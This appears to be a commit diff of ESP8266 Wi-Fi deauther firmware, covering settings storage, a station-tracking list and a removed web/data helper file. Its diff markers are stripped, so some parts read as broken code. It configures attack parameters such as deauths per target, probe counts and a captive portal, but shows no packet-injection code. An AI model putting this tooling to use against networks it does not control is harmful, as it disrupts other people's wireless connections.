else if (eqls(str,S_FORCEPACKETS)) setForcePackets(value.toInt());
else if (eqls(str,S_AUTOSAVETIME)) setAutosaveTime(value.toInt());
else if (eqls(str,S_DEAUTHSPERTARGET)) setDeauthsPerTarget(value.toInt());
else if (eqls(str,S_CHTIME)) setChTime(value.toInt());
else if (eqls(str,S_MAXCH)) setMaxCh(value.toInt());
else if (eqls(str,S_CHANNEL)) setChannel(value.toInt());
else if (eqls(str,S_DEAUTHREASON)) setDeauthReason(value.toInt());
else if (eqls(str,S_ATTACKTIMEOUT)) setAttackTimeout(value.toInt());
else if (eqls(str,S_PROBESPERSSID)) setProbesPerSSID(value.toInt());
else if (eqls(str,S_MIN_DEAUTHS)) setMinDeauths(value.toInt());
else if (eqls(str,S_DISPLAY_TIMEOUT)) setDisplayTimeout(value.toInt());
if (debug) Serial.println("\ndone");
// strings
else if (eqls(str,S_LANG)) setLang(value);
else if (eqls(str,S_SSID)) setSSID(value);
else if (eqls(str,S_PASSWORD)) setPassword(value);
else if (eqls(str,S_MACAP)) setMacAP(value);
else if (eqls(str,S_MACST)) setMacSt(value);
else if (eqls(str,S_MAC) && value.equalsIgnoreCase("random")){
setMacSt(value);
setMacAP(value);
}
}
else if (eqls(str,S_VERSION)) prntln(S_ERROR_VERSION);
else {
prnt(S_ERROR_NOT_FOUND);
prntln(str);
return;
}
prnt(S_CHANGED_SETTING);
prntln(str);
}
String Settings::get(const char* str) {
if (eqls(str,S_SETTINGS)) print();
// booleans
else if (eqls(str,S_BEACONCHANNEL)) return b2s(getBeaconChannel());
else if (eqls(str,S_AUTOSAVE)) return b2s(getAutosave());
else if (eqls(str,S_BEACONINTERVAL)) return b2s(getBeaconInterval());
else if (eqls(str,S_SERIALINTERFACE)) return b2s(getSerialInterface());
else if (eqls(str,S_DISPLAYINTERFACE)) return b2s(getDisplayInterface());
else if (eqls(str,S_WEBINTERFACE)) return b2s(getWebInterface());
else if (eqls(str,S_RANDOMTX)) return b2s(getRandomTX());
else if (eqls(str,S_LEDENABLED)) return b2s(getLedEnabled());
else if (eqls(str,S_HIDDEN)) return b2s(getHidden());
else if (eqls(str,S_CAPTIVEPORTAL)) return b2s(getCaptivePortal());
// integer
else if (eqls(str,S_FORCEPACKETS)) return (String)getForcePackets();
else if (eqls(str,S_AUTOSAVETIME)) return (String)getAutosaveTime();
else if (eqls(str,S_DEAUTHSPERTARGET)) return (String)getDeauthsPerTarget();
else if (eqls(str,S_CHTIME)) return (String)getChTime();
else if (eqls(str,S_ATTACKTIMEOUT)) return (String)getAttackTimeout();
else if (eqls(str,S_MAXCH)) return (String)getMaxCh();
else if (eqls(str,S_CHANNEL)) return (String)getChannel();
else if (eqls(str,S_DEAUTHREASON)) return (String)getDeauthReason();
else if (eqls(str,S_PROBESPERSSID)) return (String)getProbesPerSSID();
else if (eqls(str,S_MIN_DEAUTHS)) return (String)getMinDeauths();
else if (eqls(str,S_DISPLAY_TIMEOUT)) return (String)getDisplayTimeout();
// strings
else if (eqls(str,S_SSID)) return getSSID();
else if (eqls(str,S_LANG)) return getLang();
else if (eqls(str,S_PASSWORD)) return getPassword();
else if (eqls(str,S_MACAP)) return macToStr(getMacAP());
else if (eqls(str,S_MACST)) return macToStr(getMacSt());
else if (eqls(str,S_MAC)) return "AP: " + macToStr(getMacAP()) + ", Station: " + macToStr(getMacSt());
else if (eqls(str,S_VERSION)) return getVersion();
else {
prnt(S_ERROR_NOT_FOUND);
prntln(str);
}
return "";
}
// ===== GETTERS ===== //
String Settings::getVersion() {
return version;
}
uint16_t Settings::getDeauthsPerTarget() {
return deauthsPerTarget;
}
uint8_t Settings::getDeauthReason() {
return deauthReason;
}
bool Settings::getBeaconChannel() {
return beaconChannel;
}
uint8_t Settings::getForcePackets() {
return forcePackets;
}
bool Settings::getAutosave() {
return autosave;
}
uint32_t Settings::getAutosaveTime() {
return autosaveTime;
}
uint8_t Settings::getMaxCh() {
return maxCh;
}
bool Settings::getBeaconInterval() {
return beaconInterval;
}
uint8_t Settings::getChannel() {
return channel;
}
String Settings::getSSID() {
return ssid;
}
String Settings::getPassword() {
return password;
}
bool Settings::getSerialInterface() {
return serialInterface;
}
bool Settings::getDisplayInterface() {
return displayInterface;
}
bool Settings::getWebInterface() {
return webInterface;
}
uint16_t Settings::getChTime() {
return chTime;
}
uint8_t* Settings::getMacSt() {
return macSt;
}
uint8_t* Settings::getMacAP() {
return macAP;
}
bool Settings::getRandomTX() {
return randomTX;
}
uint32_t Settings::getAttackTimeout() {
return attackTimeout;
}
bool Settings::getLedEnabled() {
return ledEnabled;
}
uint8_t Settings::getProbesPerSSID() {
return probesPerSSID;
}
bool Settings::getHidden() {
return hidden;
}
bool Settings::getCaptivePortal() {
return captivePortal;
}
uint16_t Settings::getMinDeauths(){
return minDeauths;
}
uint32_t Settings::getDisplayTimeout(){
return displayTimeout;
}
String Settings::getLang(){
return lang;
}
// ===== SETTERS ===== //
void Settings::setDeauthsPerTarget(uint16_t deauthsPerTarget) {
Settings::deauthsPerTarget = deauthsPerTarget;
changed = true;
}
void Settings::setDeauthReason(uint8_t deauthReason) {
Settings::deauthReason = deauthReason;
changed = true;
}
void Settings::setBeaconChannel(bool beaconChannel) {
Settings::beaconChannel = beaconChannel;
changed = true;
}
void Settings::setForcePackets(uint8_t forcePackets) {
if(forcePackets > 0){
Settings::forcePackets = forcePackets;
changed = true;
}
}
void Settings::setAutosave(bool autosave) {
Settings::autosave = autosave;
changed = true;
}
void Settings::setAutosaveTime(uint32_t autosaveTime) {
Settings::autosaveTime = autosaveTime;
changed = true;
}
void Settings::setMaxCh(uint8_t maxCh) {
Settings::maxCh = maxCh;
changed = true;
}
void Settings::setBeaconInterval(bool beaconInterval) {
Settings::beaconInterval = beaconInterval;
changed = true;
}
void Settings::setChannel(uint8_t channel) {
if (channel >= 1 && channel <= maxCh) {
Settings::channel = channel;
setWifiChannel(channel);
changed = true;
prnt(S_CHANNEL_CHANGE);
prntln(channel);
} else {
prnt(S_CHANNEL_ERROR);
prntln(maxCh);
}
}
void Settings::setSSID(String ssid) {
if (ssid.length() > 0 && ssid.length() <= 32) {
ssid = fixUtf8(ssid);
Settings::ssid = ssid;
changed = true;
} else {
prntln(S_ERROR_SSID_LEN);
}
}
void Settings::setPassword(String password) {
if (password.length() >= 8 && password.length() <= 32) {
password = fixUtf8(password);
Settings::password = password;
changed = true;
} else {
prntln(S_ERROR_PASSWORD_LEN);
}
}
void Settings::setSerialInterface(bool serialInterface) {
Settings::serialInterface = serialInterface;
changed = true;
}
void Settings::setDisplayInterface(bool displayInterface) {
Settings::displayInterface = displayInterface;
changed = true;
}
void Settings::setWebInterface(bool webInterface) {
Settings::webInterface = webInterface;
changed = true;
}
void Settings::setChTime(uint16_t chTime) {
Settings::chTime = chTime;
changed = true;
}
void Settings::setMacSt(String macStr) {
uint8_t mac[6];
if(eqls(macStr, S_RANDOM))
getRandomMac(mac);
else
strToMac(macStr, mac);
setMacSt(mac);
}
bool Settings::setMacSt(uint8_t* macSt){
if(macSt[0] % 2 == 0){
memcpy(Settings::macSt, macSt, 6);
changed = true;
return true;
}
return false;
}
void Settings::setMacAP(String macStr){
uint8_t mac[6];
if(eqls(macStr, S_RANDOM))
getRandomMac(mac);
else
strToMac(macStr, mac);
setMacAP(mac);
}
bool Settings::setMacAP(uint8_t* macAP){
if(macAP[0] % 2 == 0){
memcpy(Settings::macAP, macAP, 6);
changed = true;
return true;
}
return false;
}
void Settings::setRandomTX(bool randomTX){
Settings::randomTX = randomTX;
changed = true;
}
void Settings::setAttackTimeout(uint32_t attackTimeout){
Settings::attackTimeout = attackTimeout;
changed = true;
}
void Settings::setLedEnabled(bool ledEnabled) {
Settings::ledEnabled = ledEnabled;
changed = true;
}
void Settings::setProbesPerSSID(uint8_t probesPerSSID) {
if(probesPerSSID > 0){
Settings::probesPerSSID = probesPerSSID;
changed = true;
}
}
void Settings::setHidden(bool hidden) {
Settings::hidden = hidden;
changed = true;
}
void Settings::setCaptivePortal(bool captivePortal){
Settings::captivePortal = captivePortal;
changed = true;
}
void Settings::setMinDeauths(uint16_t minDeauths){
Settings::minDeauths = minDeauths;
changed = true;
}
void Settings::setDisplayTimeout(uint32_t displayTimeout){
Settings::displayTimeout = displayTimeout;
changed = true;
}
void Settings::setLang(String lang){
Settings::lang = lang;
changed = true;
}

View File

@ -1,91 +1,137 @@
#ifndef Settings_h
#define Settings_h
#include <EEPROM.h>
#include <ESP8266WiFi.h>
#include <ESP8266WebServer.h>
#include "Mac.h"
#include "MacList.h"
#include "NameList.h"
#include "Arduino.h"
#include "FS.h"
#include <ArduinoJson.h>
#include "language.h"
#include "A_config.h"
extern "C" {
#include "user_interface.h"
}
extern void sendBuffer();
extern void sendToBuffer(String str);
extern void sendHeader(int code, String type, size_t _size);
#define VERSION "v2.0"
extern const bool debug;
extern String data_getVendor(uint8_t first, uint8_t second, uint8_t third);
extern void eepromWriteInt(int adr, int val);
extern int eepromReadInt(int adr);
extern NameList nameList;
extern void checkFile(String path, String data);
extern JsonVariant parseJSONFile(String path, DynamicJsonBuffer &jsonBuffer);
extern bool writeFile(String path, String &buf);
extern void saveJSONFile(String path, JsonObject &root);
extern String macToStr(uint8_t* mac);
extern void getRandomMac(uint8_t* mac);
extern bool strToMac(String macStr, uint8_t* mac);
extern void setWifiChannel(uint8_t ch);
extern String fixUtf8(String str);
#define ssidLenAdr 1024
#define ssidAdr 1025
#define passwordLenAdr 1057
#define passwordAdr 1058
#define deauthReasonAdr 1090
#define attackTimeoutAdr 1091
#define attackPacketRateAdr 1093
#define clientScanTimeAdr 1094
//#define attackEncryptedAdr 1095 <-- address is now free for another setting
#define ssidHiddenAdr 1096
#define apScanHiddenAdr 1097
#define apChannelAdr 1098
#define useLedAdr 1099
#define channelHopAdr 1100
#define multiAPsAdr 1101
#define multiAttacksAdr 1102
#define macIntervalAdr 1103
#define beaconIntervalAdr 1105
#define ledPinAdr 1106
#define macAPAdr 1107
#define isMacAPRandAdr 1113
#define checkNumAdr 2001
#define checkNum 16
class Settings
{
class Settings {
public:
Settings();
void load();
void load(String filepath);
void save(bool force);
void save(bool force,String filepath);
void reset();
void save();
void send();
void info();
void print();
int ssidLen;
String ssid = "";
bool ssidHidden;
int passwordLen;
String password = "";
int apChannel;
bool apScanHidden;
uint8_t deauthReason;
unsigned int attackTimeout;
int attackPacketRate;
int clientScanTime;
bool useLed;
bool channelHop;
bool multiAPs;
bool multiAttacks;
int macInterval;
bool beaconInterval;
int ledPin = 0;
int prevLedPin = 0;
Mac defaultMacAP;
Mac macAP;
bool isMacAPRand;
bool isSettingsLoaded = 0;
void syncMacInterface();
void setLedPin(int newLedPin);
bool pinStateOff = true; // When attack is off, pin state is HIGH
void set(const char* str, String value);
String get(const char* str);
String getVersion();
uint16_t getDeauthsPerTarget();
uint8_t getDeauthReason();
bool getBeaconChannel();
uint8_t getForcePackets();
bool getAutosave();
uint32_t getAutosaveTime();
uint8_t getMaxCh();
bool getBeaconInterval();
uint8_t getChannel();
String getSSID();
String getPassword();
bool getSerialInterface();
bool getDisplayInterface();
bool getWebInterface();
uint16_t getChTime();
uint8_t* getMacSt();
uint8_t* getMacAP();
bool getRandomTX();
uint32_t getAttackTimeout();
bool getLedEnabled();
uint8_t getProbesPerSSID();
bool getHidden();
bool getCaptivePortal();
uint16_t getMinDeauths();
uint32_t getDisplayTimeout();
String getLang();
void setDeauthsPerTarget(uint16_t deauthsPerTarget);
void setDeauthReason(uint8_t deauthReason);
void setBeaconChannel(bool beaconChannel);
void setForcePackets(uint8_t forcePackets);
void setAutosave(bool autosave);
void setAutosaveTime(uint32_t autosaveTime);
void setMaxCh(uint8_t maxCh);
void setBeaconInterval(bool beaconInterval);
void setChannel(uint8_t channel);
void setSSID(String ssid);
void setPassword(String password);
void setSerialInterface(bool serialInterface);
void setDisplayInterface(bool displayInterface);
void setWebInterface(bool webInterface);
void setChTime(uint16_t chTime);
void setMacSt(String macStr);
bool setMacSt(uint8_t* macSt);
void setMacAP(String macStr);
bool setMacAP(uint8_t* macAP);
void setRandomTX(bool randomTX);
void setAttackTimeout(uint32_t attackTimeout);
void setLedEnabled(bool ledEnabled);
void setProbesPerSSID(uint8_t probesPerSSID);
void setHidden(bool hidden);
void setCaptivePortal(bool captivePortal);
void setMinDeauths(uint16_t minDeauths);
void setDisplayTimeout(uint32_t displayTimeout);
void setLang(String lang);
private:
size_t getSize();
bool changed = false;
String version = VERSION;
bool beaconChannel = false;
bool autosave = true;
bool beaconInterval = false;
bool serialInterface = true;
bool displayInterface = USE_DISPLAY;
bool webInterface = true;
bool randomTX = false;
bool ledEnabled = true;
uint32_t attackTimeout = 600;
uint32_t autosaveTime = 10000;
uint32_t displayTimeout = 600;
uint16_t deauthsPerTarget = 20;
uint16_t chTime = 384;
uint16_t minDeauths = 3;
uint8_t forcePackets = 1;
uint8_t maxCh = 13;
uint8_t channel = 1;
uint8_t deauthReason = 1;
uint8_t* macSt;
uint8_t* macAP;
uint8_t probesPerSSID = 1;
String ssid = "pwned";
String password = "deauther";
bool hidden = false;
bool captivePortal = true;
String lang = "en";
String FILE_PATH = "/settings.json";
String getJsonStr();
};
#endif
#endif

View File

@ -0,0 +1,315 @@
#include "Stations.h"
Stations::Stations() {
list = new LinkedList<Station>;
}
void Stations::add(uint8_t* mac, int accesspointNum) {
int stationNum = findStation(mac);
if (stationNum < 0) {
internal_add(mac, accesspointNum);
//print(list->size() - 1, list->size() == 1, false);
} else {
*getPkts(stationNum) += 1;
*getTime(stationNum) = currentTime;
}
changed = true;
}
int Stations::findStation(uint8_t* mac) {
uint8_t* station_i_mac;
for (int i = 0; i < list->size(); i++) {
if (memcmp(getMac(i), mac, 6) == 0)
return i;
}
return -1;
}
void Stations::sort() {
list->sort([](Station & a, Station & b) -> int{
if (*a.pkts == *b.pkts) return 0;
if (*a.pkts > *b.pkts) return -1;
if (*a.pkts < *b.pkts) return 1;
});
}
void Stations::removeAll() {
internal_removeAll();
prntln(ST_CLEARED_LIST);
changed = true;
}
void Stations::remove(int num) {
if (!check(num)) return;
internal_remove(num);
prnt(ST_REMOVED_STATION);
prntln(num);
changed = true;
}
void Stations::removeOldest() {
int oldest = 0;
for (int i = 1; i < list->size(); i++) {
if (*getTime(i) > *getTime(oldest))
oldest = i;
}
internal_remove(oldest);
changed = true;
}
void Stations::printAll() {
prntln(ST_HEADER);
if (list->size() == 0)
prntln(ST_LIST_EMPTY);
else
for (int i = 0; i < list->size(); i++)
print(i, i == 0, i == list->size() - 1);
}
void Stations::printSelected() {
prntln(ST_HEADER);
int max = selected();
if (max == 0) {
prntln(ST_NO_DEVICES_SELECTED);
return;
}
for (int i = 0, j = 0; i < list->size() && j < max; i++) {
if (getSelected(i)) {
print(i, j == 0, j == max - 1);
j++;
}
}
}
void Stations::print(int num) {
print(num, true, true);
}
void Stations::print(int num, bool header, bool footer) {
if (!check(num)) return;
if (header) {
prntln(ST_TABLE_HEADER);
prntln(ST_TABLE_DIVIDER);
}
prnt(buildString(String(),(String)num, 2));
prnt(buildString(String(SPACE) + getMacStr(num), String(), 18));
prnt(buildString(String(SPACE), (String)getCh(num), 3));
prnt(buildString(String(SPACE) + getNameStr(num), String(), 17));
prnt(buildString(String(SPACE) + getVendorStr(num), String(), 9));
prnt(buildString(String(SPACE), (String)*getPkts(num), 9));
prnt(buildString(String(SPACE) + getAPStr(num), String(), 33));
prnt(buildString(String(SPACE) + getTimeStr(num), String(), 10));
prntln(buildString(String(SPACE) + getSelectedStr(num), String(), 9));
if (footer)
prntln(ST_TABLE_DIVIDER);
}
String Stations::getAPStr(int num) {
if (!check(num)) return String();
return accesspoints.getSSID(getAP(num));
}
uint8_t Stations::getAP(int num) {
if (!check(num)) return 0;
return list->get(num).ap;
}
String Stations::getNameStr(int num) {
if (!check(num)) return String();
return names.find(getMac(num));
}
bool Stations::hasName(int num) {
if (!check(num)) return false;
return names.findID(getMac(num)) >= 0;
}
uint8_t* Stations::getMac(int num) {
if (!check(num)) return 0;
return list->get(num).mac;
}
String Stations::getMacStr(int num) {
String value = "";
if (check(num)) {
uint8_t* mac = getMac(num);
for (int i = 0; i < 6; i++) {
if (mac[i] < 0x10) value += "0";
value += String(mac[i], HEX);
if (i < 5) value += ":";
}
}
return value;
}
String Stations::getMacVendorStr(int num) {
String value;
if (check(num)){
value = getVendorStr(num) + ":";
uint8_t* mac = getMac(num);
for (int i = 3; i < 6; i++) {
if (mac[i] < 0x10) value += "0";
value += String(mac[i], HEX);
if (i < 5) value += ":";
}
}
return value;
}
String Stations::getVendorStr(int num) {
if (!check(num)) return String();
return searchVendor(list->get(num).mac);
}
String Stations::getSelectedStr(int num) {
return b2a(getSelected(num));
}
uint32_t* Stations::getPkts(int num) {
if (!check(num)) return NULL;
return list->get(num).pkts;
}
uint32_t* Stations::getTime(int num) {
if (!check(num)) return NULL;
return list->get(num).time;
}
String Stations::getTimeStr(int num) {
if (!check(num)) return String();
uint32_t difference = currentTime - *getTime(num);
if (difference < 1000)
return str(ST_SMALLER_ONESEC);
else if (difference < 60000)
return str(ST_SMALLER_ONEMIN);
else {
uint32_t minutes = difference / 60000;
if (minutes > 60)
return str(ST_BIGER_ONEHOUR);
else
return (String)minutes + str(STR_MIN);
}
}
bool Stations::getSelected(int num) {
if (!check(num)) return false;
return list->get(num).selected;
}
uint8_t Stations::getCh(int num) {
if (!check(num)) return 0;
return list->get(num).ch;
}
void Stations::select(int num) {
if (!check(num)) return;
internal_select(num);
prnt(ST_SELECTED_STATION);
prntln(num);
changed = true;
}
void Stations::deselect(int num) {
if (!check(num)) return;
internal_deselect(num);
prnt(ST_DESELECTED_STATION);
prntln(num);
changed = true;
}
void Stations::selectAll() {
for (int i = 0; i < count(); i++)
internal_select(i);
prntln(ST_SELECTED_ALL);
changed = true;
}
void Stations::deselectAll() {
for (int i = 0; i < count(); i++)
internal_deselect(i);
prntln(ST_DESELECTED_ALL);
changed = true;
}
int Stations::count() {
return list->size();
}
int Stations::selected() {
int num = 0;
for (int i = 0; i < count(); i++)
if (getSelected(i)) num++;
return num;
}
bool Stations::check(int num) {
if (internal_check(num)){
return true;
} else{
prnt(ST_ERROR_ID);
prntln(num);
return false;
}
}
bool Stations::internal_check(int num) {
return num >= 0 && num < list->size();
}
void Stations::internal_select(int num) {
Station changedStation = list->get(num);
changedStation.selected = true;
list->set(num, changedStation);
}
void Stations::internal_deselect(int num) {
Station changedStation = list->get(num);
changedStation.selected = false;
list->set(num, changedStation);
}
void Stations::internal_remove(int num) {
free(getMac(num));
free(getPkts(num));
free(getTime(num));
list->remove(num);
}
void Stations::internal_add(uint8_t* mac, int accesspointNum) {
if (list->size() >= STATION_LIST_SIZE)
removeOldest();
Station newStation;
newStation.ap = accesspointNum;
newStation.ch = wifi_channel;
newStation.mac = (uint8_t*)malloc(6);
newStation.pkts = (uint32_t*)malloc(sizeof(uint32_t));
newStation.time = (uint32_t*)malloc(sizeof(uint32_t));
newStation.selected = false;
memcpy(newStation.mac, mac, 6);
*newStation.pkts = 1;
*newStation.time = currentTime;
list->add(newStation);
}
void Stations::internal_removeAll() {
for (int i = 0; i < list->size(); i++) {
free(getMac(i));
free(getPkts(i));
free(getTime(i));
}
list->clear();
}

View File

@ -0,0 +1,92 @@
#ifndef Stations_h
#define Stations_h
#include "Arduino.h"
#include "LinkedList.h"
#include "Accesspoints.h"
#include "Names.h"
#include "language.h"
extern "C" {
#include "user_interface.h"
}
#define STATION_LIST_SIZE 60
extern Accesspoints accesspoints;
extern Names names;
extern uint8_t wifi_channel;
extern uint32_t currentTime;
extern String searchVendor(uint8_t* mac);
extern bool macMulticast(uint8_t* mac);
extern bool macValid(uint8_t* mac);
extern bool macBroadcast(uint8_t* mac);
class Stations {
public:
Stations();
void sort();
void select(int num);
void deselect(int num);
void add(uint8_t* mac,int accesspointNum);
void selectAll();
void deselectAll();
void removeAll();
void remove(int num);
void removeOldest();
String getNameStr(int num);
String getAPStr(int num);
String getMacStr(int num);
String getMacVendorStr(int num);
String getVendorStr(int num);
String getTimeStr(int num);
String getSelectedStr(int num);
uint8_t* getMac(int num);
uint32_t* getPkts(int num);
uint32_t* getTime(int num);
uint8_t getCh(int num);
uint8_t getAP(int num);
bool getSelected(int num);
bool hasName(int num);
void print(int num);
void print(int num, bool header, bool footer);
void printAll();
void printSelected();
int count();
int selected();
bool check(int num);
bool changed = false;
private:
struct Station{
uint8_t ap;
uint8_t ch;
uint8_t* mac;
uint32_t* pkts;
uint32_t* time;
bool selected;
};
LinkedList<Station>* list;
int findStation(uint8_t* mac);
int findAccesspoint(uint8_t* mac);
bool internal_check(int num);
void internal_select(int num);
void internal_deselect(int num);
void internal_add(uint8_t* mac, int accesspointNum);
void internal_remove(int num);
void internal_removeAll();
};
#endif

View File

@ -1,590 +0,0 @@
#ifndef data_h
#define data_h
#include "oui.h"
static uint8_t data_macBuffer;
static char data_vendorBuffer;
static String data_vendorStrBuffer = "";
#define bufSize 6000
int bufc = 0; //buffer counter;
char data_websiteBuffer[bufSize];
/* sendHeader must be called first,
then copy every string (or substring, when generating json files) with sendToBuffer
and if everything is done call sendBuffer.
*/
void sendBuffer() {
if(bufc > 0) {
server.sendContent_P(data_websiteBuffer, bufc);
bufc = 0;
}
}
void sendToBuffer(String str) {
size_t len = str.length();
if(bufc + len > bufSize){
server.sendContent_P(data_websiteBuffer, bufc);
bufc = 0;
}
memcpy(data_websiteBuffer + bufc, str.c_str(), len);
bufc += len;
}
void sendHeader(int code, String type, size_t _size) {
server.setContentLength(_size);
server.send(code, type, "");
}
bool sendSPIFFSFile(String path, String mime) {
#ifdef debug
Serial.print("REQ: ");
Serial.print(path);
Serial.print(" (");
Serial.print(mime);
Serial.print(")");
#endif
if(SPIFFS.exists(path)) {
//Serial.println("File exists");
File myFile = SPIFFS.open(path, "r");
server.streamFile(myFile, mime);
myFile.close();
#ifdef debug
Serial.println(" [OK]");
#endif
return true;
} else {
Serial.println(" [SPIFFS FAIL]");
return false;
}
}
bool loadFromFlash(String path) {
String dataType = "text/plain";
if(path.endsWith("/")) path += "index.html";
if(path.endsWith("html")) dataType = "text/html";
if(path.endsWith("css")) dataType = "text/css;charset=UTF-8";
if(path.endsWith("js")) dataType = "text/javascript";
if(path.endsWith("json")) dataType = "text/json";
return sendSPIFFSFile(path, dataType);
}
String data_getVendor(uint8_t first, uint8_t second, uint8_t third) {
data_vendorStrBuffer = "";
for (int i = 0; i < sizeof(data_vendors) / 11; i++) {
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 0);
if (data_macBuffer == first) {
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 1);
if (data_macBuffer == second) {
data_macBuffer = pgm_read_byte_near(data_vendors + i * 11 + 2);
if (data_macBuffer == third) {
for (int h = 0; h < 8; h++) {
data_vendorBuffer = (char)pgm_read_byte_near(data_vendors + i * 11 + 3 + h);
if (data_vendorBuffer != 0x00) data_vendorStrBuffer += data_vendorBuffer;
}
return data_vendorStrBuffer;
}
}
}
}
return data_vendorStrBuffer;
}
/*
char* data_getStyle() {
int _size = sizeof(data_styleCSS);
for (int i = 0; i < sizeof(data_websiteBuffer); i++) {
if (i < _size) data_websiteBuffer[i] = pgm_read_byte_near(data_styleCSS + i);
else data_websiteBuffer[i] = 0x00;
}
return data_websiteBuffer;
}*/
//source: https://forum.arduino.cc/index.php?topic=38107.0
void PrintHex8(uint8_t *data, uint8_t length) {
Serial.print("0x");
for (int i = 0; i < length; i++) {
if (data[i] < 0x10) {
Serial.print("0");
}
Serial.print(data[i], HEX);
Serial.print(" ");
}
}
//source: http://shelvin.de/eine-integer-zahl-in-das-arduiono-eeprom-schreiben/
void eepromWriteInt(int adr, int val) {
byte low, high;
low = val & 0xFF;
high = (val >> 8) & 0xFF;
EEPROM.write(adr, low);
EEPROM.write(adr + 1, high);
return;
}
int eepromReadInt(int adr) {
byte low, high;
low = EEPROM.read(adr);
high = EEPROM.read(adr + 1);
return low + ((high << 8) & 0xFF00);
}
void getRandomVendorMac(uint8_t *buf) {
int _macRandom = random(sizeof(data_vendors) / 11);
for (int h = 0; h < 3; h++) buf[h] = pgm_read_byte_near(data_vendors + _macRandom * 11 + h);
for (int h = 0; h < 3; h++) buf[h + 3] = random(255);
}
bool intInArray(int num, int _array[]) {
for (int i = 0; i < sizeof(_array); i++) {
if (_array[i] == num) return true;
}
return false;
}
File errlog;
void openLog(){ errlog = SPIFFS.open("/log.txt", "a");}
void addLog(String str){if(errlog){ errlog.println(str); Serial.println(str);}}
void closeLog(){ errlog.close(); }
// Created by http://oleddisplay.squix.ch/ Consider a donation
// In case of problems make sure that you are using the font file with the correct version!
const char Roboto_Mono_8[] PROGMEM = {
0x07, // Width: 7
0x0A, // Height: 10
0x20, // First Char: 32
0xE0, // Numbers of Chars: 224
// Jump Table:
0xFF, 0xFF, 0x00, 0x05, // 32:65535
0x00, 0x00, 0x05, 0x05, // 33:0
0x00, 0x05, 0x05, 0x04, // 34:5
0x00, 0x0A, 0x09, 0x05, // 35:10
0x00, 0x13, 0x07, 0x05, // 36:19
0x00, 0x1A, 0x0B, 0x06, // 37:26
0x00, 0x25, 0x09, 0x05, // 38:37
0x00, 0x2E, 0x05, 0x05, // 39:46
0x00, 0x33, 0x06, 0x05, // 40:51
0x00, 0x39, 0x07, 0x05, // 41:57
0x00, 0x40, 0x09, 0x05, // 42:64
0x00, 0x49, 0x09, 0x05, // 43:73
0x00, 0x52, 0x06, 0x05, // 44:82
0x00, 0x58, 0x07, 0x05, // 45:88
0x00, 0x5F, 0x05, 0x05, // 46:95
0x00, 0x64, 0x07, 0x05, // 47:100
0x00, 0x6B, 0x09, 0x06, // 48:107
0x00, 0x74, 0x05, 0x05, // 49:116
0x00, 0x79, 0x09, 0x05, // 50:121
0x00, 0x82, 0x07, 0x05, // 51:130
0x00, 0x89, 0x09, 0x05, // 52:137
0x00, 0x92, 0x07, 0x05, // 53:146
0x00, 0x99, 0x07, 0x05, // 54:153
0x00, 0xA0, 0x07, 0x05, // 55:160
0x00, 0xA7, 0x07, 0x05, // 56:167
0x00, 0xAE, 0x09, 0x05, // 57:174
0x00, 0xB7, 0x05, 0x05, // 58:183
0x00, 0xBC, 0x06, 0x05, // 59:188
0x00, 0xC2, 0x09, 0x05, // 60:194
0x00, 0xCB, 0x07, 0x05, // 61:203
0x00, 0xD2, 0x09, 0x05, // 62:210
0x00, 0xDB, 0x07, 0x05, // 63:219
0x00, 0xE2, 0x0B, 0x07, // 64:226
0x00, 0xED, 0x07, 0x05, // 65:237
0x00, 0xF4, 0x07, 0x05, // 66:244
0x00, 0xFB, 0x09, 0x06, // 67:251
0x01, 0x04, 0x09, 0x06, // 68:260
0x01, 0x0D, 0x09, 0x05, // 69:269
0x01, 0x16, 0x09, 0x05, // 70:278
0x01, 0x1F, 0x09, 0x06, // 71:287
0x01, 0x28, 0x09, 0x06, // 72:296
0x01, 0x31, 0x07, 0x05, // 73:305
0x01, 0x38, 0x07, 0x05, // 74:312
0x01, 0x3F, 0x09, 0x05, // 75:319
0x01, 0x48, 0x09, 0x05, // 76:328
0x01, 0x51, 0x09, 0x06, // 77:337
0x01, 0x5A, 0x09, 0x06, // 78:346
0x01, 0x63, 0x09, 0x06, // 79:355
0x01, 0x6C, 0x09, 0x05, // 80:364
0x01, 0x75, 0x0A, 0x06, // 81:373
0x01, 0x7F, 0x07, 0x05, // 82:383
0x01, 0x86, 0x09, 0x06, // 83:390
0x01, 0x8F, 0x09, 0x05, // 84:399
0x01, 0x98, 0x09, 0x06, // 85:408
0x01, 0xA1, 0x07, 0x05, // 86:417
0x01, 0xA8, 0x09, 0x05, // 87:424
0x01, 0xB1, 0x07, 0x05, // 88:433
0x01, 0xB8, 0x07, 0x05, // 89:440
0x01, 0xBF, 0x09, 0x05, // 90:447
0x01, 0xC8, 0x08, 0x05, // 91:456
0x01, 0xD0, 0x08, 0x05, // 92:464
0x01, 0xD8, 0x06, 0x05, // 93:472
0x01, 0xDE, 0x07, 0x05, // 94:478
0x01, 0xE5, 0x08, 0x05, // 95:485
0x01, 0xED, 0x05, 0x05, // 96:493
0x01, 0xF2, 0x09, 0x05, // 97:498
0x01, 0xFB, 0x09, 0x06, // 98:507
0x02, 0x04, 0x07, 0x06, // 99:516
0x02, 0x0B, 0x09, 0x06, // 100:523
0x02, 0x14, 0x07, 0x05, // 101:532
0x02, 0x1B, 0x09, 0x05, // 102:539
0x02, 0x24, 0x0A, 0x06, // 103:548
0x02, 0x2E, 0x09, 0x06, // 104:558
0x02, 0x37, 0x07, 0x05, // 105:567
0x02, 0x3E, 0x08, 0x06, // 106:574
0x02, 0x46, 0x09, 0x05, // 107:582
0x02, 0x4F, 0x07, 0x05, // 108:591
0x02, 0x56, 0x0B, 0x07, // 109:598
0x02, 0x61, 0x09, 0x06, // 110:609
0x02, 0x6A, 0x09, 0x06, // 111:618
0x02, 0x73, 0x09, 0x06, // 112:627
0x02, 0x7C, 0x0A, 0x06, // 113:636
0x02, 0x86, 0x07, 0x05, // 114:646
0x02, 0x8D, 0x07, 0x05, // 115:653
0x02, 0x94, 0x09, 0x05, // 116:660
0x02, 0x9D, 0x09, 0x06, // 117:669
0x02, 0xA6, 0x07, 0x05, // 118:678
0x02, 0xAD, 0x09, 0x05, // 119:685
0x02, 0xB6, 0x07, 0x05, // 120:694
0x02, 0xBD, 0x07, 0x05, // 121:701
0x02, 0xC4, 0x09, 0x05, // 122:708
0x02, 0xCD, 0x08, 0x05, // 123:717
0x02, 0xD5, 0x06, 0x05, // 124:725
0x02, 0xDB, 0x07, 0x05, // 125:731
0x02, 0xE2, 0x09, 0x05, // 126:738
